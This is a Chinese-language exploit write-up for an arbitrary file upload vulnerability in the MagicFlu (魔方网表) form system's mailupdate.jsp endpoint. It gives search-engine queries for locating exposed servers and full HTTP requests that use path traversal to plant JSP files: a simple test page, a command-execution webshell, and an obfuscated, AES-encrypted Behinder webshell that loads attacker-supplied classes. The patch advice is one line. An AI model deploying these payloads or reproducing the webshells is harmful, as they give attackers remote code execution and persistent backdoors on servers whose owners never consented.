魔方网表 mailupdate.jsp 任意文件上传

0x01 漏洞描述：

魔方网表帮助其搭建了支持信创环境的端到端的一站式数据智能填报系统,实现数据收集模板个性化定义,收集任务集中管控,结构化数据存储、分析及呈现等功能。魔方网表mailupdate.jsp接口存在任意文件上传漏洞

0x02 搜索语句：

Fofa：icon_hash="694014318"

Hunter：body="/magicflu/html/login/img/leftbottom.png"

Quake：body="/magicflu/html/login/img/leftbottom.png"

0x03 漏洞复现：

文件上传：

GET /magicflu/html/mail/mailupdate.jsp?messageid=/../../../test2.jsp&messagecontent=%3C%25+out.println%28%22tteesstt1%22%29%3B%25%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: your-ip

访问路径进行访问 /magicflu/test2.jsp

上传jsp小马

GET /magicflu/html/mail/mailupdate.jsp?messageid=/../../../test3.jsp&messagecontent=%3C%25+if%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B+java.io.InputStream+in+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29.getInputStream%28%29%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+out.print%28%22%3Cpre%3E%22%29%3B+while+%28%28a+%3D+in.read%28b%29%29+%21%3D+-1%29+%7B+out.print%28new+String%28b%29%29%3B+%7D+out.print%28%22%3C%2Fpre%3E%22%29%3B+%7D+%25%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: your-ip

访问上传地址

http://your-ip/magicflu/test3.jsp?cmd=whoami

 

大马上传建立连接 执行密码cmd

GET /magicflu/html/mail/mailupdate.jsp?messageid=/../../../test4.jsp&messagecontent=%3C%25%21+public+byte%5B%5D+AJ173%28String+Strings%2CString+k%29+throws+Exception+%7B+javax.crypto.Cipher+BB390K+%3D+javax.crypto.Cipher.getInstance%28%22AES%2FECB%2FPKCS5Padding%22%29%3BBB390K.init%28javax.crypto.Cipher.DECRYPT_MODE%2C+%28javax.crypto.spec.SecretKeySpec%29+Class.forName%28%22javax.crypto.spec.SecretKeySpec%22%29.getConstructor%28byte%5B%5D.class%2C+String.class%29.newInstance%28k.getBytes%28%29%2C+%22AES%22%29%29%3Bbyte%5B%5D+bytes%3Btry%7Bint%5B%5D+aa+%3D+new+int%5B%5D%7B122%2C+113%2C+102%2C+113%2C+62%2C+101%2C+100%2C+121%2C+124%2C+62%2C+82%2C+113%2C+99%2C+117%2C+38%2C+36%7D%3BString+ccstr+%3D+%22%22%3Bfor+%28int+i+%3D+0%3B+i+%3C+aa.length%3B+i%2B%2B%29+%7B+aa%5Bi%5D+%3D+aa%5Bi%5D+%5E+0x010%3Bccstr+%3D+ccstr+%2B+%28char%29+aa%5Bi%5D%3B%7DClass+clazz+%3D+Class.forName%28ccstr%29%3B+Object+decoder+%3D+clazz.getMethod%28%22getDecoder%22%29.invoke%28null%29%3Bbytes+%3D++%28byte%5B%5D%29+decoder.getClass%28%29.getMethod%28%22decode%22%2C+String.class%29.invoke%28decoder%2C+Strings%29%3B%7Dcatch+%28Throwable+e%29%7Bint%5B%5D+aa+%3D+new+int%5B%5D%7B99%2C+101%2C+126%2C+62%2C+125%2C+121%2C+99%2C+115%2C+62%2C+82%2C+81%2C+67%2C+85%2C+38%2C+36%2C+84%2C+117%2C+115%2C+127%2C+116%2C+117%2C+98%7D%3BString+ccstr+%3D+%22%22%3Bfor+%28int+i+%3D+0%3B+i+%3C+aa.length%3B+i%2B%2B%29+%7Baa%5Bi%5D+%3D+aa%5Bi%5D+%5E+0x010%3Bccstr+%3D+ccstr+%2B+%28char%29+aa%5Bi%5D%3B%7DClass+clazz+%3D+Class.forName%28ccstr%29%3Bbytes+%3D+%28byte%5B%5D%29+clazz.getMethod%28%22decodeBuffer%22%2C+String.class%29.invoke%28clazz.newInstance%28%29%2C+Strings%29%3B%7Dbyte%5B%5D+result+%3D+%28byte%5B%5D%29+BB390K.getClass%28%29.%2F%2AZ6J167Pm27%2A%2FgetDeclaredMethod%2F%2AZ6J167Pm27%2A%2F%28%22doFinal%22%2C+new+Class%5B%5D%7Bbyte%5B%5D.class%7D%29.invoke%28BB390K%2Cnew+Object%5B%5D%7Bbytes%7D%29%3Breturn+result%3B%7D+%25%3E%3C%25++try+%7B++String+KcIG0Ji+%3D+%22dfff0a7fa1a55c8c%22%3B++session.putValue%28%22u%22%2C+KcIG0Ji%29%3B++byte%5B%5D+I425f1L+%3D+AJ173+%28request.getReader%28%29.readLine%28%29%2CKcIG0Ji%29%3B++java.%2F%2AZ6J167Pm27%2A%2Flang.%2F%2AZ6J167Pm27%2A%2Freflect.Method+AJ173+%3D+Class.forName%28%22java.lang.ClassLoader%22%29.getDeclaredMethod%2F%2AZ6J167Pm27%2A%2F%28%22defineClass%22%2Cbyte%5B%5D.class%2Cint%2F%2A%2A%2F.class%2Cint%2F%2A%2A%2F.class%29%3B++AJ173.setAccessible%28true%29%3B++Class+i+%3D+%28Class%29AJ173.invoke%28Thread.currentThread%28%29.%2F%2AZ6J167Pm27%2A%2FgetContextClassLoader%28%29%2C+I425f1L+%2C+0%2C+I425f1L.length%29%3B++Object+Q18i+%3D+i.%2F%2AZ6J167Pm27%2A%2FnewInstance%28%29%3B++Q18i.equals%28pageContext%29%3B+%7D+catch+%28Exception+e%29+%7B%7D+%25%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: your-ip

 冰蝎访问

0x04 修复建议：

厂商已发布补丁请即时修复